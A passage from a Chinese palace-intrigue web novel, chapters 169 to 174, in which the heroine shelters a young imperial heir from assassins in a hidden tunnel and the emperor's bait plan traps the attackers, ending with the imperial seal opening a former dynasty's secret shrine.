她死死看着祭坛处的厮杀。
乾德帝被护在中间,敌人在减少,可是赵凌哲哇哇大哭着就是要去救他的父王。
赵炳煜一手抱着他,一手还要迎敌,十分吃力。
时间长了,他肯定顶不住。
几位王爷也拿起武器迎敌。
赵凌哲绝对不能有事。
“青风,翡翠,琉璃,开路,救凌哲世子。”霍凝玉下令。
“县主,不可。”几人同时阻止。
“没时间了。外面的人马上就要杀进来了。”霍凝玉此时只有一个念头,救赵凌哲。
第169章 大胆救人
如果不救下他,这世的命运谈何改变。
她抽出腰间练了几个月的鞭子,冲了过去。
青风见主子如此绝决,只得冲在前面,为她开路,两个丫鬟也用鞭子护在霍凝玉身侧。
而就在他们冲进战圈时,外面的敌人也杀了进来。
人数之多,个个蒙面,全是经过专门训练的武功高手。
霍凝玉被青风护着,来到赵炳煜身边。
“谁让你过来的,快走,找个地方躲起来。”赵炳煜气得大叫。
“快,把凌哲世子给我。”霍凝玉不和他多话,从他怀里扯过赵凌哲,往背上一背,转身向战圈外而去。
她不躲进护卫们的保护圈。
外面的人进来,保护圈也不安全。
而她魂飘时来过这里,发现了一个好地方,可以藏进去,谁也杀不了他们。
两个丫鬟手里的鞭子甩得风声赫赫,青风的长剑更是来一个杀一个。
乾德帝被保护得密不透风。
霁王和辰王身边都是他们自己的亲卫护着。
另三个皇子也有他们的护卫,暂时不会有事。
太子的护卫终于杀开一条血路,到了太子身边。
其中一人,几个点指封了太子的穴道,让血流得缓些,再把人抱起,在其他几人的掩护下进了保护圈。
看到这一幕,赵凌哲才没有挣扎,乖乖让霍凝玉背着跑。
“杀光南楚的皇室,给我们的太子报仇。”一个领头的大声喊道。
此地无银三百两的话,让赵炳煜嗤笑。
要真是西凉的**,绝不会如此说话。
只是那人刚喊完,后面又杀进来一批黑衣人,且人数起码两百多人。
他们看到已经有一批黑衣人,还愣了一下。
但只是一瞬,手一挥,齐齐向战圈杀去。
而这批人才是真正的**,每一招都是杀招。
目标明确,直往乾德帝所在位置杀来。
霍凝玉背着赵凌哲在三人的护卫下,冲出战圈。
而这一幕自然落入辰王和霁王眼中。
辰王眼神一幽,趁挥剑时,打了个手势,但在混战中,没人注意。
霍凝玉看到敌人越来越多。
第二批进来的刺客,看到霍凝玉一个女人背着一个孩子,反而不太在意,他们的目标就是南楚皇和所有皇子。
霍凝玉在青风三人的护卫下,所走的路与黑衣人来的方向相反。
因为紧张,霍凝玉背着人跑得跌跌撞撞,还被自己的脚给绊了一下,两人一起倒在地上。
与此同时,“小姐小心!”琉璃一声惊叫。
她眼睁睁看到一支利箭向主子射来。
她一个跨步,想挡住箭,可是箭却从她的耳旁飞过。
当她惊慌转过身,正好看到小姐一个趔趄摔在了地上,那支箭正好从赵凌哲的头顶飞过,撞破了他固发的玉簪,头发散落开来。
这运气,太好了。
没给琉璃高兴的时间,又一支利箭射来。
青风一个剑花打落。
“快扶县主与世子起来。”青风喊道。
他顺着箭来的方向看去,那人又抽了一支箭搭上弓。
此人绝不是刚才杀进来的刺客之一。
这是有人想趁乱要凌哲世子的命。
翡翠把霍凝玉扶起:“小姐,让我背着吧。”
“还是我来,你们的武艺比我好,护好我。”霍凝玉的心狂跳不止,但她很冷静。
“霍姐姐,我自己走。”赵凌哲从她背上下来。
刚才他是太伤心。父王倒下的那一刻,他什么也顾不得,就想把父王拉到身边。
“你太小,步子小,还是我背着你,跑得快些。”霍凝玉没给他再说话的机会,直接又把人背起,向前跑。
三人护着她跑过行宫内圈,向皇帝住的主殿后面而去。
好在,那些黑衣人都在祭坛那里,并没有追过来。
可是就在他们到达主殿后的小花园时,后面追来五个蒙面刺客。
青风一人应付,有些吃力。
“翡翠,你帮青风挡一挡。”霍凝玉看到青风已经受了一剑,吩咐。
“是,小姐。”翡翠的身高比较高,人也比较壮实,一鞭子抽过去,如果没躲开,也能带起一片血肉。
霍凝玉带着琉璃来到一处假山,几个大石构成了个小小的空间,
霍凝玉一躬身躲了进去。
“琉璃,快,按一下那个突起的东西。”霍凝玉沉声急道,眼睛向上看。
琉璃顺着她的视线看到一
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块与假山差不多材质的石块,确实是突出一点。
毫不犹豫,抬手按了上去。
一阵机括声,一个只容一人进出的洞口出现在石壁上。
“凌哲世子,快进去。”霍凝玉把人放下,推了一把。
“霍姐姐,你也进来。”他生怕霍凝玉只是想把他藏起来,而她去引开敌人。
他已经看出来,那几人就是冲着他来的。霍姐姐出去也引不开人。
“琉璃,快去叫青风两人进来。我们都躲进去,再关了机关。”霍凝玉冲身后的琉璃吩咐道。
琉璃转身出去,看到青风和翡翠正应付着三个人,说明两个人已经**。
“快进来。”琉璃说着,连甩出几鞭,逼退一人。
再拉着翡翠就进了假山,青风边战边退。
当他偶一回头,就看到琉璃进了一个洞,而县主和世子都不见了,就知道他们都躲进了洞里。
当他一脚踢翻一人后,也一个闪身躲进了洞里。
霍凝玉见他进来,立刻按下里面的机关,洞口慢慢合上,而敌人已经跟着也进来了一人,只是他刚把腿伸进来,身子还在洞外,就被合上的门给夹住。
青风一剑斩了他的腿,再一推,塞出去。
洞口合上。
惨叫声凄厉传进洞来。
洞里漆黑一片,伸手不见五指。
几人都大口大口呼吸。
惊魂不定。
“小姐,外面还有两人,他们会不会打开机关?”
“不用担心,机关被我卡死,他们短时间进不来。”霍凝玉安慰道。
“霍姐姐,我父王会不会有事?”赵凌哲见安全了,又伤心起来。
他才七岁,他不能没有父王。
他希望父王能看着他长大,顶天立地,能护父王母妃。
“不会有事的,放心。刚才你也看到了,他已经被带到你皇祖父身边。”霍凝玉摸黑把他拥进怀里。
“真的吗?”
赵凌哲哽咽的声音,让霍凝玉心里更加难受。
可怜的孩子,所求也不多,只想自己的亲人活着。
“真的,我保证。”霍凝玉冷静下来。
赵炳煜不可能任由那么多**杀进来,他肯定还有什么计划,只是没告诉她。
第170章 皇帝做饵,一网打尽
再说另一边,当赵炳煜看到霍凝玉几人转到行宫外圈后,向天上发了一个信号。
突然从行宫房顶各处站出无数弓箭手,齐齐向敌人射来。
同时,从行宫两个门冲进无数士兵,领头的正是钟离洛。
那些黑衣人一看来了这么多人,有些手里的剑差点拿不稳。
而有些却杀红了眼。
在这个过程中,辰王也中了一剑,他的两个儿子也被划烂了衣服,吓得缩在乾德帝身边,不敢离开半步。
而霁王倒是勇猛,一招一式,很有章法,参与迎敌。
但他的武艺与赵炳烛比自是差得远,在打斗中,也被划伤了胳膊。
谢勋在辰王的提点下,这回学聪明了,左右不离皇帝身边,只要有敌人杀来,他就尽力与之缠斗,护住了一个方位。
又有禁卫和龙影卫,他的压力并不大,但他把一个忠心臣子的形象表现得很到位。
钟离洛的到来,战局立刻扭转。
内围的禁卫和护卫们开始反扑。
乾德帝稳如磐石,从头到尾没有露出半分异样。
喊杀声震天,惨叫声不绝于耳。
钟离洛一来,赵炳煜和扮成赵壑的林宇就退回到乾德帝身边。
把就近的敌人都解决了。
皇帝周围已安全,而那些刺客却表现出完全不同的两个反差。
第一批进来的人,越打越心虚。
第二批进来的人,越杀越猛,势要杀出一条血路逃走。
赵胜领着的部分弓箭手,加入战斗。
钟离洛带来的士兵快速形成包围圈,再结成小型阵法,而内圈的禁卫也在步步紧逼。
两波黑衣人,目测大约五百多人。在两千多士兵的包围下,很快失去了战斗力。
钟离洛在里面如杀神般,一路收割黑衣人的性命。
短短时间,他就连杀了十几人。
那些黑衣人见他如此勇猛,纷纷后退,不敢与之对抗,但钟离洛不是站着不动的,而是主动出击。
直杀出一条血路,来到乾德帝面前,单膝跪地:“臣救驾来迟。”
“起来吧。留些活口。”乾德帝淡声吩咐。
钟离洛一声令下,士兵在下手时,注意分寸,尽量不伤在要害处。
而那些刺客反而想逃走,但无论如何拼命也闯不出包围圈,房顶上还有弓箭手虎视眈眈。
当所有刺客都被拿下时,只用了两刻钟。
一共俘获刺客一百五十二人,斩杀四百余人。
其中有服毒**的。
当发现一个服毒**后,抓到一个卸一个下巴,不然死的更多。
“赵壑,全部押回京,关进刑部大牢,好好给朕审,无论用什么刑罚,把嘴给朕撬开。”乾德帝第一次下这么重的命令。
“臣领命。”林宇跪地接下任务。
皇城司的人这次也充当护卫,被临时编在禁卫军中。
战斗结束,乾德帝立刻让太医来为太子诊治。
赵炳煜把人抱进太子寝宫,太子妃被打晕还没醒。
当时那人被赵炳煜的暗器打中,偏了些,并没有直插心脏,但也插入了胸口,一根肋骨断裂,又伤了肺,本就身子很弱,再次一受伤,更是雪上加霜。
“皇上,经此一事,太子殿下恐难再愈,需仔细调养。”吴太医惋惜道。
“还能活多久?”乾德帝深吸一口气,心情沉重。
“最多半年。”吴太医的话很残忍,可他不能欺君。
乾德帝闭了闭眼,之前说最多能活两年。
罢了,罢了,残破的身子,活着也是受罪,这都是命。
好在,大仇得报。
想到赵炳煜的计划,本是算无遗漏的,可谁知还是出了意外。
这次的诱敌之计,自赵炳煜回来那日,乾德帝就开始计划。
两人商量了几日才定下。
西凉的太子一死,西凉迟早会知道是南楚人做的,南楚的细作一旦知道,定会全力一博,为他们的太子报仇。
乾德帝决定亲自做饵,把六个儿子五个孙子全都带上祭坛祭祀。
皇室嫡系全部集中一起,这样的机会,细作如果想要报仇,必定不会放过这绝佳的机会。
那就一网打尽。
至少短时间内西凉不会那么快再安**来。
赵炳煜知道太子最多只剩半年寿命,也自责不已。
凝玉告诉他太子就在这次避暑时被辰王算计,也是只活到年底。
或许太子就是这个命,凝玉的重生也没能改变。
他定会好好审那几个反水的禁卫,他们是怎么混进来的?
那些人都是经过严格挑选的。
“炳煜,快去找找凌哲,让
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他来守着他父王。”乾德帝收起悲伤,想到太子唯一的儿子,现在还不知道被霍凝玉带去了哪里。
“是。”
只是赵炳煜把整个行宫都找了个遍,也没找到霍凝玉几人,但也没看到尸体,急得他出了一身冷汗。
不会被漏网之鱼给抓走了吧?
霍凝玉几人躲在假山下的洞里。
洞外还有两个刺客,那个被斩了腿的,并没有死,立刻指着霍凝玉他们进去的位置:“假山下有地道,他们进去了,就在那儿。”
主子交给他们的任务是无论如何也要想办法把东宫世子弄死。
不死也要弄残,只有**或者残了,皇帝才会死心,不会想着把皇位传给东宫世子。
两人开始找机关,可是把周围各个地方都摸了一遍也没发现异常,直到有一人发现头顶有一处凸起,用力按了一下,发现石洞移了一点点,就知道找对地方了。
而洞里的几人也看到了石门移开了一点点,哪怕还不到手指那么宽,但也吓了一跳。
那几人是非要置他们于死地。
霍凝玉让翡翠用力扣住里面的机关,外面怎么用力也打不开。
可是外面两人无计可施,直接用了狠劲,把机关给破坏了。
外面的人进不去,里面的人也别想出来。
饿死在里面也能达到同样的目的。
不知道过了多久,四人狂跳的心终于平静下来。
“霍姐姐,他们是不是走了?”赵凌哲心里挂念着太子,想快些出去。
“再等等,外面什么情况,我们也不知道。”霍凝玉不敢冒险。
“青风,我好像看到你受了伤,要不要紧?”琉璃关心问道。
“只是一点皮外伤,不要紧。”
“青风,先包扎一下,不可失血过多。我们几人,全靠你一人护卫。我们先往里走走,有油灯。”霍凝玉牵起赵凌哲往里摸黑而行。
走出大约三丈左右停下:“青风,你身上有火折子吗?这里应该有一盏油灯。”
做鬼就有这个好,只要有点缝就能钻进去,还能夜视。
青风从怀里拿出火折子把油灯点上。
这才看清几人处在一个地下通道里。
但通道通向何处不知道。
“小姐,你是怎么知道这条地道的?”翡翠好奇问道。
第171章 地道里的异常
“以前来过,不小心发现的。”霍凝玉随便找了个理由。
这么重要的地方,当然不可能随便被人发现。
这条通道是什么时候挖的,谁挖的,她也不知道。
琉璃撕了点衣服的下摆,给青风把伤口包扎好。
“翡翠,你身上是不是也有伤?”霍凝玉问道。
“只是一点小伤,不用包扎。”翡翠把自己的胳膊露出来给大家看。
果然只是一点小伤。
“走吧,我们出去看看。”霍凝玉估计时间差不多。
几人又走回入口处,青风用力扭动机关,可是一点反应也没有。
“怎么了?”赵凌哲焦急问道。
“世子,机关好像卡**。”青风又用了点力,还是没用。
“完了,我们被关在里面了,刺客肯定从外面把机关破坏了。呜呜……”赵凌哲难过地哭了出来。
再勇敢也只是一个七岁的孩子。
“父王。”他低低叫一声,扑进霍凝玉怀里。压抑的哭声让人心疼。
“凌哲世子,你父王吉人自有天向,不会有事的。从这里出不去,我们就走另一头,我保证一定能带你出去。”霍凝玉轻轻拍着他。
直到他慢慢不再哭泣,才轻轻推开他,蹲下身为他擦了擦眼泪。
“霍姐姐,我父王真的不会有事吗?”
“当然,那些刺客肯定会被全部拿下。”霍凝玉相信赵炳煜一定有办法护大家周全。
只是她太过担心赵凌哲在混战中出事,才想先把他带走。
她宁可皇帝死也不能让赵凌哲死。
只要赵凌哲还活着,辰王和霁王想名正言顺登基,没那么容易。
只要朝中的老臣们支持东宫,赵凌哲就有希望。
他是嫡孙,这个身份谁也取代不了。
几人顺着通道向前走,越走越远。
而赵炳煜绕行宫转了两圈,终于有属下发现假山里的血迹。
尽管被人擦拭过,但还留下淡淡的痕迹。
“王爷,这里应该发生过击杀。”林宇摸了摸略带潮气的地面。
“咦,这条地缝里的血迹不正常,感觉很深。”林宇发现了更多异常。
“刚才的战斗几乎都在祭坛那里。正常情况这里不会有打杀,除非是霍县主和凌哲世子来过这里,遇到了刺客。”余征分析。
“去找工具来,把这块石板撬了。”赵炳煜想也不想就如此决定。
他不放过任何可能。
这个行宫其实也是前朝的行宫。
南楚国在一百多年前,并不是赵姓统治,而是李氏统治。
发生了天灾,赵氏先祖趁势而为,夺了李氏的江山。
而这处行宫建得宏大,离京不远,又是历朝历代帝王祭祀的最佳之地。所以赵氏也选择了这里作为祭祀之地。
山上凉快,乾德帝每到夏天就到这里来避暑。
离此二十里外,就是皇家专门用于狩猎的猎场。
有了这样的历史,赵炳煜心里有了大胆的猜测,这么重要的行宫,前朝有没有可能留下一些逃生的密道。
而这个假山,已经存在了几百年,从没人去动过它。
凝玉曾是魂魄,会不会她发现了什么而没有告诉他,不然也不会那么大胆冲进战圈带走赵凌哲。
出于对她的信任,他才没有强加阻止,还有青风跟在身边,更有一层保障。
余征很快找来工具,开始撬动,可是怎么也撬不开。
要是正常的石板铺在地面上,用力撬肯定能撬起来,而这个却牢固得不正常。
赵炳煜越发肯定自己的猜测。
开始仔细查看四周,当他也看到头顶那块凸起,其实已经被按下去了。
刚才那两人,就是来来**按压,下去又弹起来,直到再也弹不起来。
就知道谁来也打不开机关才离去。
赵炳煜已经猜到那一定就是机关所在。
可是已经被破坏。
他掏出一把**,一点点把那个按下去的石块往外撬。
功夫不负有心人,花了两刻多钟,终于把石块撬回原位。刚才是被卡住。
或许是太久没人动过,也有可能年代久远,已经发生了变化。
赵炳煜用正面向上的力又按压下去。
他们怀疑的地方果然开了。
此时里面没有人控制里面的机关,这才得以打开。
赵炳煜毫不犹豫走进去,刚到洞口就看到半条腿在洞口。
而且还是新鲜的,他就知道凝玉他们就是躲进了这里。
霍凝玉不知道
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出口已经被赵炳煜打开,带着几人一路往前。
里面的空气很差,她想快些出去。
也不知道走了多久,每过一定距离就有一盏油灯,这么多年过去,也没有消失,也不知道是什么油,还能点燃。
走着走着,赵凌哲被什么东西绊了一脚,摔在地上。
低头一看,居然是个人头骨,吓得他一声尖叫。
琉璃和翡翠两个女孩子也被吓得脸色发白。
“小姐,这里死过人。”琉璃颤抖着说道。
“不用怕,不过是一具枯骨。”霍凝玉完全没感觉。
每个人死后多年不就是这样吗?
霍凝玉这才想起,这通道里有几个地方有**不知道多少年的枯骨,而且还手拿武器,旁边有一把刀。
说明这些死在里面的人都是士兵。
也不知道他们是**在里面的。
难道不知道找机会逃出去吗?
青风又把火折子吹燃,在两边的石壁上照了照。
发现刚才那具枯骨所在的地方居然向里凹。
“县主,你看,这里有些不太正常。”青风说道。
“咦,怎么那么像一道门。”赵凌哲也发现了问题。
翡翠二话不说,用力推了推,纹丝不动。
“我们先出去,这里不易久留。等出去,确定刺客都被拿下,大家都安全了,我们再带人进来查看。”赵凌哲还是很担心他的父王。
“走吧。”霍凝玉也觉得先出去为好。
她还不知道父母怎么样呢。
从昨天开始,父亲就身子不舒服,好像吃坏了肚子,拉了一天一夜,今日祭祀都没能参加,母亲在房里照顾他。
只有她没事做,才跑去看热闹。
现在回想起来,应该是赵大哥对她父亲下了药,目的就是不让他参加,以防护不住。
越想越觉得是这样。那说明赵大哥早有计划。
想到这儿,霍凝玉反而安下心来。
走了大约一刻钟,翡翠也被一块**腿骨给绊了一下。
青风又照了一下枯骨躺的地方,当真和之前看到的地方一样,有点凹进去,如一扇门,但又打不开。
他们又继续向前,前后发现四具枯骨,对应四个向里凹的门,可惜都打不开。
第172章 得救了
直到走到底,前面一道石门挡住去路,他们再也无法前进。
石门上散发着淡淡的柔光。借着柔光,几人都模模糊糊感觉石门上有什么东西。
再走近几步。
“我的天,好大一条龙。”琉璃惊呼。
“小姐,这是不是夜明珠?”翡翠也惊叫。
她从没见过夜明珠,但听书先生描述过,与眼前所见十分吻合。
石门上雕刻着一条踩着祥云的石龙,龙的嘴里含着一颗大大的夜明球。
四只脚下各踩一颗略小的夜明珠。
五颗夜明珠交相辉映,形成一个龙字。
“对,这就是夜明珠,而且还是价值不菲的夜明珠。”霍凝玉虽没见过,但这么大颗的夜明珠,她也只在前世魂魄飘到这里时见过这几颗。
“霍姐姐,这就是出口吗?”赵凌哲昂着头,看向石门。
他并不觉得稀奇,他在皇祖父那里见到过一颗。
“这里应该就是出口了,不过我们得先找到机关。”霍凝玉没有打开过,只从石门细得几乎看不见的缝里飘过去的,里面还有乾坤。
几人开始找,看看哪个位置比较像机关控制器。
可是几人怎么找,也没看出哪个地方像机关按钮。
只有石门下有一个正方形的凹槽,里面还有字。
“青风,你看清里面是什么字了吗?”霍凝玉没看清,光线有些弱。
“好像是受命于天,既寿永昌。”青风把火折子吹亮了一些,看清楚了。
“什么?那不是玉玺上的字吗?”霍凝玉被这八个字给惊得合不拢嘴。
“霍姐姐,怎么了?”赵凌哲一时还没想到关键。
“小姐,这门是不是要用玉玺才能打开?”琉璃一下想到这个可能。
“十有**。”霍凝玉颓废地蹲下身,要真是如此,那就麻烦了。此时她有些后悔把大家带进地道里来了。
“完了,我们出不去了,要是没人来救我们,我们就会饿死在这地道里,然后慢慢变成刚才看到的四具枯骨。”翡翠突然如霜打的茄子,也蹲到霍凝玉身边。
青风用手去按那八个字,怎么按都没反应。
赵凌哲也一屁股坐到霍凝玉另一面。
“凌哲世子,我不应该把你带走,本想让你更安全,结果却害了你。”霍凝玉自责地把他揽进怀里。
“霍姐姐,不用担心,皇祖父发现怎么也找不到我们,定会让人翻个底朝天,一定能发现我们进来的地方有异常,就是用砸的也会砸开,进来找我们。”赵凌哲把希望寄托在乾德帝身上。
“对,我们不会有事的。”霍凝玉是把希望寄托在赵炳煜身上。
就在大家又努力找了找,实在没什么发现,准备往回走时,几人听到了脚步声。
青风立刻抽出佩剑防备。
两个丫鬟也手握长鞭戒备。
霍凝玉把赵凌哲护在身后。
他们怕那两个进不来的刺客想到办法进来,继续追杀他们。
脚步声越来越近。
青风手里的长剑在夜明珠的光辉下闪着寒光。
几人都屏住呼吸。
人影近了,青风毫不犹豫,一剑杀出。
对方也反应快,立刻用长剑架住。
“是我。”一个熟悉的声音响起,如天籁般在地道里回荡。
“主子!”青风立刻收回剑。
“赵大哥!”霍凝玉惊喜万分。
“王叔。”赵凌哲也欢喜叫道。
这么长时间的惊魂未定,在见到赵炳煜的这一刻,所有人都如见到了光明。
“你们真是让我好找。”赵炳煜也大大松了一口气。
还好,不是被刺客抓走。
霍凝玉突然放松身体,向赵炳煜倒去,被接了个正着。
“我以为我们再也出不去,就要饿死在这里了,幸好你找来了。”
赵炳煜轻轻拍了拍她的后背,温声安慰:“就是把整个行宫和华云山翻遍也要把你们找到。”
“嗯,有你真好。”
“王叔,我父王可还好?”赵凌哲急切问道。
“他只是受了点伤,已经得到医治。”赵炳煜只简单说了一句。
“那就好,那就好。”赵凌哲提了这么久的心终于放下。
“走吧,我们先出去。”赵炳煜说道。
“对了,今日我们进到这里来的消息有几人知道?”霍凝玉问道。
“洞口有两个我的下属守着,就余征和林宇跟着我进来。”
余征和林宇就站在旁边,霍凝玉向他们的身后看,果然没人。
“赵大哥,这里我怀疑是前朝用来逃命的地道。
如果做好保密,也可以用作本朝的逃命通道。
你看今天就有那么多刺客杀进来,万一以后遇
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到怎么也避不过的情况,或许能寻得一线生机。”霍凝玉建议。
“你这个想法不错。走,先出去再说。”赵炳煜牵起她的手,另一只手牵着赵凌哲,准备走。
“王叔,你来看看这个。”赵凌哲反而拉住他。
把人带到石门处,让他看那个凹槽。
当赵炳煜看清里面的四个字时,也惊了一下。
这是玉玺印鉴。
用玉玺做钥匙,看来这地道不简单。也不知道门外是哪个位置。
“我们先上去。”
几人又顺着原路出了地道。
前后走了有三刻钟,因为黑,走得慢,但这地道也不短。
一路上,赵炳煜把他们走后发生的事给几人说了一遍。
“你是说皇上亲自做饵,把西凉的刺客一网打尽?”霍凝玉简直不敢相信,“皇上也太大胆了吧,这么危险的事,他也不怕有个万一。”
“这有什么?霍姐姐,我们赵家人,个个有勇有谋,我也同样以身入局,做过诱饵。”赵凌哲与有荣焉。
“我父亲拉肚子,是不是你干的?”霍凝玉开始算账。
每日的膳食都是由行宫统一供给,而不是各家自己做饭,没有那么多厨房。
“是。”赵炳煜承认得很干脆,“我怕乱起来,我没功夫护他安全。只得让他告病。不单岳父大人,我给好几位大人都下了药。”
“你有计划居然不提前告诉我一声,害我白担心一场,还冲进去救凌哲世子。”霍凝玉埋怨的语气再明显不过。
“以后不许再做这样的傻事。”赵炳煜带着责备轻声训斥。
其实后来他很庆幸霍凝玉把人带走了。
那些刺客是想杀尽皇家人,就连辰王府和霁王府的孩子都多少受了点伤。
而且他发现那些刺客问题很大。
很有可能辰王和霁王也利用了这次机会。
因为他发现有几个刺客专攻辰王。要不是辰王身边的几个护卫得力,他身上还藏有**,不然辰王今日很有可能折了。
而霁王却没有,说明那些刺客很有可能是霁王安排。
越想他脑子里越清晰。
“好吧。”
“你们是如何逃进这地道里的?”赵炳煜想知道他们离开后都经历了什么。
他可是看到一条腿在洞口,且是一剑被斩下的,只青风能做到。
第173章 再下地道
霍凝玉也说了一遍。
“你是说有人特意隐藏起来,就为了杀凌哲?”赵炳煜一下抓住关键。
“是。最开始是弓箭射我们,第一箭要不是我不小心摔倒,世子就中箭了。”霍凝玉想到当时那一瞬,后怕得心惊肉跳。
要是赵凌哲因她的鲁莽而死,她怎么向皇上交代?而且全家都会因她的过错而获罪。
想到那个结果,她更是后悔自己的冲动。
感觉到她的颤抖,赵炳煜捏了捏她的手。
赵炳煜又回想了一下刚才想到的情况。
几个刺客专攻辰王,而霁王却没遇到这样的强攻。
以辰王那尿性,不可能没有安排,原来在这儿等着。
一个要太子和辰王的命,辰王却是要凌哲的命。
他知道霁王的武功比较好,不能明杀。那就先断了东宫的希望。
而他又是皇长子,太子一死,霁王基本没希望。
除非辰王烂泥扶不上墙。
“那几人很可能是辰王安排的。”赵炳煜直接说出自己的怀疑。
“那这个地道,那两个刺客知道,辰王肯定也知道了。”霍凝玉担忧道。
“他知道没关系,他是皇家人,不会乱说。”
到了洞口,是关着的,赵炳煜先在洞口的石板上敲了敲。
外面守着的两人听到声音,也敲了敲,回应。
赵炳煜发现洞口后,怕还有刺客作怪,没有声张,决定自己先探探再说。
他还担心,这个洞是不是敌人提前挖的。
万事小心为妙。
洞口慢慢打开,外面的光线照进来,突然见到光,几人眼睛有些睁不开,稍稍适应了一下才爬上来。
“可有人来过这里?”赵炳煜问。
“头儿,没有,这里是皇上休息的主殿后院,一般不会有人来,只有皇上的几个龙影卫藏在那边。”刘纪民回道。
“好,把这里做一下掩护,不要让人发现。凝玉,先随我去见皇上。”
几人就从园子的后门进了乾德帝的寝宫。
这个小小的园子本就是给皇帝休息时闲逛的,后门进去就是寝宫的外间。
此时乾德帝正在外间听赵胜和钟离洛禀报今日之事。
赵胜作为禁卫军统领,居然出了如此大的纰漏,让值守祭坛的禁卫里混进了那么多刺客。
他的统领一职估计也做到头了。
但皇帝此时正是用人之际,要处罚也得等这次的事情处理完。
“皇上,扮作禁卫军的刺客都带着**,骗了所有人。”赵胜战战兢兢道。
他怎么也想不到五十个人,居然有一半的人被换了。他严重失职。
乾德帝一个镇纸甩过去:“限你两日之内,给朕查清楚,是谁做的?”
“微臣领命。”赵胜退了出去。
“皇上,刺客已全部押往京中刑部大牢,并一路用军队护送,如遇截杀,也能应付。”钟离洛禀报。
“今日你表现不错,又立了功,朕先给你记着。”
刚刚才大赏过,不宜再赏。
“这是臣的职责。”钟离洛恭敬一礼。
“去吧,帮赵胜查查,那小子还是太年轻了。”乾德帝本想给鲁王叔一个面子,可那小子不争气,出了这么大的纰漏,害得太子阳寿减少。
这是他最大的错。
钟离洛退出,赵炳煜才带着人现身。
“皇祖父。”赵凌哲小跑进乾德帝的怀里。
“凌哲?你没事?太好了。回来就好,回来就好。”看到最疼爱的孙子,乾德帝这才真正安心,眼睛眨了眨,带着泪意。
“皇祖父,有人要杀孙儿,幸好霍姐姐把孙儿藏起来,才躲过了一劫。”赵凌哲见到疼爱他的亲人,眼泪吧嗒吧嗒掉下来。
这一日,他强作镇定跟在霍凝玉身边,此时终于得以释放。
“什么?”乾德帝当时看到霍凝玉把人带走,又没看到有刺客追他们,以为孙儿是安全的,原来他们还是遇到了追杀。
“皇上,是暗处藏了人,如果县主不带走世子,估计那人也会放暗箭杀害世子。”青风禀道。
他看得分明,那射箭之人,就躲在一个宫殿的樑上,应该时刻关注着祭坛那里的战况,正等着机会。
那人看到他们带着世子离开了战圈,也跟着改变了方向,追着他们。
再看准时机,放箭。
“岂有此理,这是要把我皇家的子孙一网打尽。”乾德帝怒道。
“皇伯父,射杀凌哲的人应该不是西凉人。臣怀疑此次刺杀,辰王和霁王都利用了这次机会。”
接着赵炳煜就把自己在脑子里分析的情况说了一遍。
乾德帝
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听后,反而越发冷静。
“明日你就回京,把此事给朕审个水落石出。”乾德帝吩咐道。
“是。”
“皇祖父,孙儿先去看看父王。”赵凌哲再也待不住。他早就想走,可是没机会插嘴。
“去吧。”看到孙子这么挂念自己的父亲,乾德帝很欣慰。
是个孝顺的好孩子。
“皇上,臣女发现一个好地方。”这时霍凝玉开口。
刚才与赵炳煜商量好,由她来说。这也是一份功劳。
“哦,什么好地方?”乾德帝来了兴趣。
“后面园子里,有一个地道,之前我们就是躲进那里才躲过刺客的追杀。
而那个地道有些神秘,臣女想请皇上亲自去瞧瞧,还需带上玉玺。”霍凝玉把一个地道说得更加神秘。
“还要用到玉玺?”乾德帝更加好奇。
“对了,皇上,您的玉玺是前朝留下来的那个吗?”霍凝玉差点忘了这个重要信息。
这事她真不知道。
“正是。”乾德帝肯定地点头。
一百多年前,赵氏夺了李氏的江山,杀进宫,李氏最后的皇帝逃了,但玉玺没有带走。
有了玉玺,赵氏先祖顺利登基,也就没下狠力去追杀李氏的皇帝,不过是个不足十岁的孩子,也成不了事。
直到最后也没找到那孩子。
“咱们现在就去?”霍凝玉看向赵炳煜。
“不急,现在已经过了饭点,先吃完饭再去。”赵炳煜宠溺笑道。
饭后,霍凝玉让两个丫鬟回去向父母报平安,她又带着人进了地道。
皇上只带了四个龙影卫跟着。
赵炳煜带着两个暗卫:青雨,青云。
霍凝玉带着青风。
一共十人。
每人手里提一盏灯笼。
这回看得更清楚,当走到第一个枯骨处时,霍凝玉停了下来。
她有种预感,这里应该就是一道门,前世她没进去过。
只看到几具枯骨,她就无端生起难受来,就没细看。
不能入土为安者,何其多,他们也不知道能不能入地府重新投胎。
“你帮我提着灯笼。”霍凝玉把手里的灯笼给赵炳煜提着。
她则开始在凹进去的那面墙上认真看起来。
忽然发现一处不是石头,特别像干了的泥。
第174章 你个贪得无厌的东西
“青风,用**把这里撬一下。”霍凝玉指着那块位置。
青风一**扎进去,真不是石头。把松软的土刮掉,一个正方形的凹槽出现。
清理干净后,又如之前看到过的,凹槽中出现几个字:受命于天,既寿永昌。
乾德帝凑近了看:“与玉玺上的字一模一样。这是什么意思?”
玉玺上的字是反的,盖下正好是正的,而这几个字正是正的,且是凸出来的。
难道是玉玺印上去的?
玉玺印上去,字应该是凹下去的。
“皇上,臣女猜测,这应该是锁,而玉玺正是钥匙。”霍凝玉带着几丝兴奋。
“皇伯父,试试?”赵炳煜也如此猜测。
这地方是前朝留下的,说不定有什么好东西被藏在这里面。
乾德帝拿出玉玺,对上凹槽,大小刚刚好,再用力一按。
一阵机括声响起,在有限的地道里显得尤为明显。
众人目不转睛看着面前的石门。
石门果然一点点在移动,而且是向上移动。
可供三人并排进出的石门缓缓打开了。
里面漆黑一片,什么也看不见。
众人提着灯笼进去。
只见里面是一个石室,大约三丈见方。
正面墙上有一幅一人多高的画像,画像上的人身着明皇龙袍。
画像以精工重彩绘就,尽显九五至尊的雍容气度。
画中帝王端坐在蟠龙宝座之上,身披明黄十二章纹龙袍,袍服上金线绣制的云海蟠龙如在隐隐流动。
头戴缀有东珠的朝冠,双目不怒自威。
“这是李氏先祖?”霍凝玉睁大眼,她从没见过这幅画。
“正是李氏高祖,明献帝。”乾德帝见过他的画像,宫中有存放。
画像下摆了数个灵位,正是李氏历代皇帝的灵位。
“李氏皇朝怎么在这里设了宗庙?”霍凝玉从这些灵牌上的字已经判断出,这里供奉的全是前朝历代皇帝。
“最后两位皇帝不在此列。”赵炳煜扫了一眼就发现缺了两人。
“估计还没来得及放吧。”霍凝玉如是想。
毕竟李氏最后一位皇帝继位时只有八岁,刚登基一年就被赵氏推翻了江山。
这个石室除了几张放着灵位的桌案之外,什么也没有。
“炳煜,随朕向李氏高祖行个礼。”乾德帝对前朝高祖带着敬意。
不管哪朝哪代,第一代皇帝都是最值得尊敬的。
因为有他打江山,建立王朝,才有后来帝王的统治和享受百姓供奉。
“是。”
